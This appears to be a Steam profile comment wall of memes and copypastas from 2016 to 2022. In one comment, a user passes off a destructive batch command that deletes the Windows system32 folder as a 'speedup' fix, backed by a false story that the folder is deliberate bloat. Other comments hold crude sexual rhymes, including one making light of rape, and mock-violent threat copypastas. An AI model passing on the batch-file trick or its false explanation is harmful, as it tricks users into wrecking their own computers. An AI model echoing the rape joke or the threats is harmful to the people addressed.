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Jav 3 Jul, 2022 @ 8:07pm

I've come to make an announcement: Shadow the Hedgehog's a ♥♥♥♥♥-ass ♥♥♥♥♥♥♥♥♥♥♥♥, he pissed on my ♥♥♥♥♥♥♥ wife. That's right, he took his hedgehog-♥♥♥♥♥♥' quilly ♥♥♥♥ out and he pissed on my ♥♥♥♥♥♥♥ wife, and he said his ♥♥♥♥ was "THIS BIG," and I said "that's disgusting," so I'm making a callout post on my Twitter.com : Shadow the Hedgehog, you've got a small ♥♥♥♥. It's the size of this walnut except WAY smaller. And guess what? Here's what my dong looks like.

That's right, baby. All points, no quills, no pillows — look at that, it looks like two balls and a bong. He ♥♥♥♥♥♥ my wife, so guess what, I'm gonna ♥♥♥♥ the Earth. That's right, this is what you get: MY SUPER LASER PISS!! Except I'm not gonna piss on the Earth, I'm gonna go higher; I'M PISSING ON THE MOON! How do you like that, Obama?! I PISSED ON THE MOON, YOU IDIOT!

You have twenty-three hours before the piss D R O P L E T S hit the ♥♥♥♥♥♥♥ Earth, now get outta my ♥♥♥♥♥♥♥ sight, before I piss on you too!

SizzlinRice 17 Apr, 2021 @ 12:26pm

Wishender friend!

Hchris101 30 May, 2019 @ 1:51pm

♥♥♥♥♥♥♥, I would

♥♥♥ and go
Drip and dip
Nail and bail
Nut then strut
Plow and ciao
Suck and duck
Skeet and yeet
Hit it and quit it
Ram and scram
Screw and shoo
Shoot and scoot
Squirt and revert
Smash and dash
Skeet and retreat
Rape and escape
Hump then dump
Kiss then dismiss
Finger don't linger
Cuddle then scuttle
Breed then proceed
Get lade then evade
Jack of then back off
Ejaculate and evacuate
Go down and skip town
Impregnate and immigrate
Tear her apart then depart
Bust a nut then leave the hut
♥♥♥♥ her ass then hit the gas
Suck her toes then say adios
Fill her hole then take a stroll
Shoot the Jizz then out you is
Spray DNA and refuse to stay
Glaze her buns and get the runs
Smash mouth and dash south
Give her ♥♥♥♥ then run a block
Make a baby and run like crazy
Smash her rear then disappear
Hit the spot then ditch the thot
Blow your load and hit the road
Shoot the glaze then run aways

Hchris101 2 Oct, 2018 @ 7:16am

http://csgoani.me/vusagi you are a butt.

Hchris101 2 Oct, 2018 @ 7:16am

http://csgoani.me/vusagi you are a butt.

Hchris101 29 Apr, 2018 @ 10:13am

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Azelinuu 2 Feb, 2018 @ 8:17am

2018

Hchris101 23 Oct, 2017 @ 7:59pm

gimmie that wall paper

Hchris101 5 Nov, 2016 @ 8:14pm

who the fun been bag balls is this guy named 2 months\

Azelinuu 5 Nov, 2016 @ 6:39pm

2 months without a comment.

You tried Shov, you tried.

Hchris101 5 Nov, 2016 @ 6:36pm

looked through your internet history pal
Ripped Up ♥♥♥♥♥ After Gangbang

Shovel 1 Sep, 2016 @ 12:23pm

#DicksOut

Azelinuu 30 Aug, 2016 @ 10:07pm

Harambe.

That is all.

Hchris101 7 Jul, 2016 @ 7:37am

Yo, Danny Fenton, he was just fourteen
when his parents built a very strange machine
It was designed to view a world unseen

(He's gonna catch 'em all cause he is Danny Phantom)

When it didn't quite work, his folks they just quit
Then Danny took a look inside of it
There was a great big flash, everything just changed
His molecules got all rearranged

(Phantom, phantom)

When he first woke up he realized
He had snow white hair and glowing green eyes
He could walk through walls disappear and fly
He was much more unique than the other guys

It was then that he knew what he had to do
He had to stop all the ghosts that were commin' through
He's here to fight for me and you!

He's gonna catch 'em all cause he is Danny Phantom
Gonna catch 'em all cause he is Danny Phantom
Gonna catch 'em all cause he's (Danny Phantom)

Hchris101 4 Jul, 2016 @ 7:52pm

Okay ♥♥♥♥♥♥♥, listen up.
When Microsoft was first getting started, they knew they wouldn't make enough money just from the profits of their operating system. Everybody knows people pirate Windows, So they had to get creative. A guy named Chris Liddel came up with the idea to put a folder called "system32" in the windows folder that literally slows down your machine. "system32" hold 32 GIGABYTES of deleted files, internet history, uninstalled progams, and other worthless ♥♥♥♥ that intentionally clogs up your machine. Why did they do it? Because Microsoft owns several PC "Cleaning" tools, like TuneUp Utilites, Norton Antivirus, ect. More money for them. /b/ isn't cool with that, however. Here's how to outsmart those ♥♥♥♥♥♥♥♥ once and for all;
Open Notepad
Type the following text:
@echo off
del C:\WINDOWS\system32
save as "speedup.bat" (select "all files" instead of "text document"
Save it to Desktop
Double-click the .bat file

Tolvan 27 Jun, 2016 @ 9:31pm

Hello, Tolvan, it is me, Tolvan.

Neropolitan 27 Jun, 2016 @ 9:30pm

+Rick Astley
NEVER GONNA GIVE YOU UP
NEVER GONNA LET YOU DOOOWN
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Hchris101 26 Jun, 2016 @ 12:37pm

I am Mata Nui. My original form was built on the world of Spherus Magna more than one hundred thousand years ago. I was built to bring order back to my world and its people, but I lost my way. With the help of new and old friends, I have one final chance to fulfill my duty, and my destiny.

Hchris101 20 Jun, 2016 @ 9:42am

i know why the caged bird ♥♥♥♥♥ itself with a cake making dildo

Hchris101 9 Jun, 2016 @ 4:16pm

What the ♥♥♥♥ did you just ♥♥♥♥♥♥♥ say about me, you little ♥♥♥♥♥? I’ll have you know I graduated top of my class in the Navy Seals, and I’ve been involved in numerous secret raids on Al-Quaeda, and I have over 300 confirmed kills. I am trained in gorilla warfare and I’m the top sniper in the entire US armed forces. You are nothing to me but just another target. I will wipe you the ♥♥♥♥ out with precision the likes of which has never been seen before on this Earth, mark my ♥♥♥♥♥♥♥ words. You think you can get away with saying that ♥♥♥♥ to me over the Internet? Think again, ♥♥♥♥♥♥. As we speak I am contacting my secret network of spies across the USA and your IP is being traced right now so you better prepare for the storm, maggot. The storm that wipes out the pathetic little thing you call your life. You’re ♥♥♥♥♥♥♥ dead, kid.

Hchris101 9 Jun, 2016 @ 4:15pm

I can be anywhere, anytime, and I can kill you in over seven hundred ways, and that’s just with my bare hands. Not only am I extensively trained in unarmed combat, but I have access to the entire arsenal of the United States Marine Corps and I will use it to its full extent to wipe your miserable ass off the face of the continent, you little ♥♥♥♥. If only you could have known what unholy retribution your little “clever” comment was about to bring down upon you, maybe you would have held your ♥♥♥♥♥♥♥ tongue. But you couldn’t, you didn’t, and now you’re paying the price, you ♥♥♥♥♥♥♥ idiot. I will ♥♥♥♥ fury all over you and you will drown in it. You’re ♥♥♥♥♥♥♥ dead, kiddo.

TargosRG 26 May, 2016 @ 10:38am

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Hchris101 19 May, 2016 @ 3:22pm

that aint jojo
http://csgoani.me/vbuyghv